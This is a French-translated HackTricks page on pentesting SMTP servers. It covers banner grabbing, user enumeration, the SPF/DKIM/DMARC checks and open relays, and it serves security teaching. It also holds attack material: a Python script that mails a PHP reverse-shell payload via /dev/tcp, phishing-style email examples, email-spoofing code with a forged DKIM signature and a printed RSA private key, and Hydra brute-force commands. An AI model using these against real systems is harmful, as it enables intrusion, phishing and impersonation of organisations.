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hacktricks/network-services-pentesting/pentesting-smtp
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Translator 6209e0d7d1 Translated ['forensics/basic-forensic-methodology/partitions-file-system
2024-02-05 02:55:29 +00:00
..
README.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:55:29 +00:00
smtp-commands.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:55:29 +00:00

README.md

25,465,587 - Pentesting SMTP/s

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

{% embed url="https://pentest-tools.com/" %}

Informations de base

SMTP (Simple Mail Transfer Protocol) est un protocole TCP/IP utilisé pour envoyer et recevoir des e-mails. Cependant, étant donné sa capacité limitée à mettre en file d'attente des messages à l'extrémité de réception, il est généralement utilisé avec l'un des deux autres protocoles, POP3 ou IMAP, qui permettent à l'utilisateur de sauvegarder des messages dans une boîte aux lettres serveur et de les télécharger périodiquement depuis le serveur.

En d'autres termes, les utilisateurs utilisent généralement un programme qui utilise SMTP pour envoyer des e-mails et soit POP3 ou IMAP pour recevoir des e-mails. Sur les systèmes basés sur Unix, sendmail est le serveur SMTP le plus largement utilisé pour les e-mails. Un package commercial, Sendmail, inclut un serveur POP3. Microsoft Exchange inclut un serveur SMTP et peut également être configuré pour inclure le support POP3.
À partir de ici.

Port par défaut : 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

En-têtes EMAIL

Si vous avez l'opportunité de faire envoyer un email par la victime (via le formulaire de contact de la page web par exemple), faites-le car vous pourriez en apprendre davantage sur la topologie interne de la victime en consultant les en-têtes de l'email.

Vous pouvez également recevoir un email d'un serveur SMTP en essayant d'envoyer à ce serveur un email à une adresse inexistante (car le serveur enverra à l'attaquant un email NDN). Cependant, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.

Vous devriez également essayer d'envoyer des contenus différents car vous pourriez trouver des informations plus intéressantes dans les en-têtes comme : X-Virus-Scanned: by av.domain.com
Vous devriez envoyer le fichier de test EICAR.
Détecter l'AV pourrait vous permettre d'exploiter des vulnérabilités connues.

Actions de base

Capture de bannière/Connexion de base

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Trouver les serveurs MX d'une organisation

To find the MX servers of an organization, you can use tools like nslookup or dig to query the DNS records. MX (Mail Exchange) records specify the mail servers responsible for receiving email on behalf of the domain. By querying the DNS records for the domain, you can identify the MX servers used by the organization.

dig +short mx google.com

Énumération

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgation d'informations

Si le serveur prend en charge l'authentification NTLM (Windows), vous pouvez obtenir des informations sensibles (versions). Plus d'informations ici.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ou automatisez ceci avec le plugin nmap smtp-ntlm-info.nse

Nom du serveur interne - Divulgation d'informations

Certains serveurs SMTP complètent automatiquement l'adresse de l'expéditeur lorsqu'une commande "MAIL FROM" est émise sans adresse complète, divulguant ainsi leur nom interne :

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Vérifiez si vous parvenez à renifler un mot de passe à partir des paquets vers le port 25

Authentification par force brute

Énumération par force brute des noms d'utilisateur

L'authentification n'est pas toujours nécessaire

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY (Verify) is a command used in the SMTP protocol to verify whether a specific user or mailbox exists within a mail server. This command can be abused by attackers to gather information about valid user accounts on the target mail server. It is recommended to disable the VRFY command to prevent this type of enumeration attack.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

L'extension de commande SMTP EXPN est utilisée pour demander au serveur de messagerie de divulguer les alias ou les listes de diffusion qu'il gère. Cette commande peut être exploitée par des attaquants pour recueillir des informations sensibles sur les utilisateurs et les groupes de messagerie. Il est recommandé de désactiver la commande EXPN pour renforcer la sécurité du serveur de messagerie.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Outils automatiques

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

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Rapports DSN

Rapports de notification de statut de livraison : Si vous envoyez un e-mail à une organisation à une adresse invalide, l'organisation vous notifiera que l'adresse était invalide en envoyant un e-mail de retour. Les en-têtes de l'e-mail retourné contiendront des informations potentiellement sensibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur les logiciels antivirus).

Commandes

Envoyer un e-mail depuis la console Linux

root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

IT Dept,

We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.

Sincerely,

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Envoyer un e-mail avec Python

Voici une autre façon d'envoyer un e-mail avec un script Python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Contremesures contre le Spoofing d'Email

Les organisations empêchent l'envoi d'emails non autorisés en leur nom en utilisant SPF, DKIM, et DMARC en raison de la facilité de spoofing des messages SMTP.

Un guide complet sur ces contre-mesures est disponible sur https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF a été "déprécié en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Cela signifie qu'au lieu de créer un enregistrement TXT dans _spf.domain.com, vous le créez dans domain.com en utilisant la même syntaxe.
De plus, pour réutiliser les enregistrements SPF précédents, il est assez courant de trouver quelque chose comme "v=spf1 include:_spf.google.com ~all" {% endhint %}

Sender Policy Framework (SPF) est un mécanisme qui permet aux Agents de Transfert de Courrier (MTA) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de messagerie autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et autres entités autorisées à envoyer des emails au nom d'un nom de domaine, comprend diverses "Mécanismes" dans l'enregistrement SPF.

Mécanismes

Mécanisme Description
ALL Correspond toujours; utilisé pour un résultat par défaut comme -all pour toutes les adresses IP non correspondant aux mécanismes précédents.
A Si le nom de domaine a un enregistrement d'adresse (A ou AAAA) qui peut être résolu à l'adresse de l'expéditeur, il correspondra.
IP4 Si l'expéditeur se trouve dans une plage d'adresses IPv4 donnée, correspondance.
IP6 Si l'expéditeur se trouve dans une plage d'adresses IPv6 donnée, correspondance.
MX Si le nom de domaine a un enregistrement MX se résolvant à l'adresse de l'expéditeur, il correspondra (c'est-à-dire que le courrier provient de l'un des serveurs de courrier entrant du domaine).
PTR Si le nom de domaine (enregistrement PTR) pour l'adresse du client est dans le domaine donné et que ce nom de domaine se résout à l'adresse du client (DNS inverse confirmé), correspondance. Ce mécanisme est déconseillé et doit être évité, si possible.
EXISTS Si le nom de domaine donné se résout à une adresse quelconque, correspondance (peu importe l'adresse à laquelle il se résout). Cela est rarement utilisé. Avec le langage macro SPF, il offre des correspondances plus complexes comme les requêtes DNSBL.
INCLUDE Référence la politique d'un autre domaine. Si la politique de ce domaine passe, ce mécanisme passe. Cependant, si la politique incluse échoue, le traitement se poursuit. Pour déléguer entièrement à la politique d'un autre domaine, l'extension de redirection doit être utilisée.
REDIRECT

Une redirection est un pointeur vers un autre nom de domaine qui héberge une politique SPF, elle permet à plusieurs domaines de partager la même politique SPF. C'est utile lorsqu'on travaille avec un grand nombre de domaines partageant la même infrastructure email.

La politique SPF du domaine indiqué dans le mécanisme de redirection sera utilisée.

Il est également possible d'identifier les Qualificateurs qui indiquent ce qui doit être fait si un mécanisme correspond. Par défaut, le qualificateur "+" est utilisé (donc si un mécanisme correspond, cela signifie qu'il est autorisé).
Vous noterez généralement à la fin de chaque politique SPF quelque chose comme: ~all ou -all. Cela est utilisé pour indiquer que si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'email comme non fiable (~) ou rejeter (-) l'email.

Qualificateurs

Chaque mécanisme dans la politique peut être précédé de l'un des quatre qualificateurs pour définir le résultat souhaité :

  • +: Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant +mx équivalent à mx.
  • ?: Représente un résultat NEUTRE, traité de manière similaire à AUCUN (aucune politique spécifique).
  • ~: Indique SOFTFAIL, servant de terrain d'entente entre NEUTRE et ÉCHEC. Les emails répondant à ce résultat sont généralement acceptés mais marqués en conséquence.
  • -: Indique ÉCHEC, suggérant que l'email devrait être rejeté en totalité.

Dans l'exemple suivant, la politique SPF de google.com est illustrée. Notez l'inclusion des politiques SPF de différents domaines dans la première politique SPF :

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas d'enregistrement SPF correct/valide. De nos jours, si un e-mail provient d'un domaine sans enregistrement SPF valide, il sera probablement rejeté/marqué comme non fiable automatiquement.

Pour vérifier le SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM est utilisé pour signer les e-mails sortants, permettant leur validation par des Agents de Transfert de Courrier (MTA) externes grâce à la récupération de la clé publique du domaine depuis le DNS. Cette clé publique se trouve dans l'enregistrement TXT d'un domaine. Pour accéder à cette clé, il faut connaître à la fois le sélecteur et le nom de domaine.

Par exemple, pour demander la clé, le nom de domaine et le sélecteur sont essentiels. Ils peuvent être trouvés dans l'en-tête du courrier DKIM-Signature, par exemple, d=gmail.com;s=20120113.

Une commande pour récupérer ces informations pourrait ressembler à :

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC améliore la sécurité des e-mails en s'appuyant sur les protocoles SPF et DKIM. Il définit des politiques qui guident les serveurs de messagerie dans le traitement des e-mails d'un domaine spécifique, notamment la manière de gérer les échecs d'authentification et où envoyer les rapports sur les actions de traitement des e-mails.

Pour obtenir l'enregistrement DMARC, vous devez interroger le sous-domaine _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Balises DMARC

Nom de la balise Objectif Exemple
v Version du protocole v=DMARC1
pct Pourcentage de messages soumis au filtrage pct=20
ruf URI de rapport pour les rapports d'analyse ruf=mailto:authfail@example.com
rua URI de rapport des rapports agrégés rua=mailto:aggrep@example.com
p Politique pour le domaine organisationnel p=quarantine
sp Politique pour les sous-domaines du DO sp=reject
adkim Mode d'alignement pour DKIM adkim=s
aspf Mode d'alignement pour SPF aspf=r

Et les sous-domaines?

À partir de ici.
Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine à partir duquel vous souhaitez envoyer des e-mails.
Ce qui suit a été initialement publié sur openspf.org, qui était autrefois une excellente ressource pour ce type d'informations.

La question du démon : Et les sous-domaines?

Si je reçois un e-mail de pielovers.demon.co.uk et qu'il n'y a pas de données SPF pour pielovers, devrais-je remonter d'un niveau et tester SPF pour demon.co.uk? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client pourrait avoir sa propre politique. Il n'aurait pas de sens que la politique de Demon s'applique par défaut à tous ses clients; si Demon veut le faire, il peut configurer des enregistrements SPF pour chaque sous-domaine.

Ainsi, le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX.

Les sites avec des enregistrements A ou MX génériques devraient également avoir un enregistrement SPF générique, de la forme : * IN TXT "v=spf1 -all"

Cela a du sens - un sous-domaine peut très bien se trouver dans un endroit géographique différent et avoir une définition SPF très différente.

Relais ouvert

L'utilisation d'un serveur relais de confiance par le destinataire peut être une stratégie pour garantir que les e-mails envoyés ne sont pas marqués comme spam et atteignent leur destination prévue. Cependant, il a été observé que les administrateurs manquent souvent d'une compréhension détaillée des plages d'adresses IP qui devraient être autorisées. Cette lacune de connaissance peut entraîner des mauvaises configurations dans le serveur SMTP, une vulnérabilité couramment découverte lors des tests de pénétration externes et internes. Pour contourner ce problème et éviter de perturber involontairement la communication par e-mail avec les clients potentiels et existants, les administrateurs peuvent choisir d'autoriser toutes les adresses IP. Cette approche se reflète dans la configuration du serveur SMTP, où le paramètre mynetworks est défini pour autoriser les connexions depuis n'importe quelle adresse IP:

mynetworks = 0.0.0.0/0

Pour tester un relais de messagerie ouvert, un outil tel que nmap peut être utilisé. Cet outil est employé pour scanner le serveur ciblé afin de déterminer s'il fonctionne comme un relais ouvert, ce qui peut être indiqué par le script de relais ouvert smtp-open-relay. La commande suivante démontre comment nmap est utilisé pour scanner le port 25 sur le serveur avec l'adresse IP 10.10.10.10, en fournissant une sortie détaillée :

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Outils

Envoyer un Email Spoofé

Ou vous pourriez utiliser un outil :

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Si vous rencontrez une erreur en utilisant la bibliothèque dkim python pour analyser la clé, n'hésitez pas à utiliser la suivante.
REMARQUE : Il s'agit simplement d'une solution temporaire pour effectuer des vérifications rapides dans les cas où, pour une raison quelconque, la clé privée openssl ne peut pas être analysée par dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Ou vous pourriez le faire manuellement :

{% tabs %} {% tab title="PHP" %}

# Cela enverra un message non signé
mail("votre_email@gmail.com", "Sujet de test !", "salut ! Ceci est un test", "De : administrateur@victime.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

{% endtab %} {% endtabs %}

Plus d'informations

Trouvez plus d'informations sur ces protections dans https://seanthegeek.net/459/demystifying-dmarc/

Autres indicateurs de phishing

  • Âge du domaine
  • Liens pointant vers des adresses IP
  • Techniques de manipulation de liens
  • Pièces jointes suspectes (non courantes)
  • Contenu d'e-mail corrompu
  • Utilisation de valeurs différentes de celles des en-têtes de messagerie
  • Existence d'un certificat SSL valide et fiable
  • Soumission de la page à des sites de filtrage de contenu Web

Exfiltration via SMTP

Si vous pouvez envoyer des données via SMTP lisez ceci.

Fichier de configuration

Postfix

Généralement, s'il est installé, dans /etc/postfix/master.cf contient des scripts à exécuter lorsque par exemple un nouvel e-mail est reçu par un utilisateur. Par exemple, la ligne flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} signifie que /etc/postfix/filtering sera exécuté si un nouvel e-mail est reçu par l'utilisateur mark.

Autres fichiers de configuration:

sendmail.cf
submit.cf

Références

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.

{% embed url="https://pentest-tools.com/" %}

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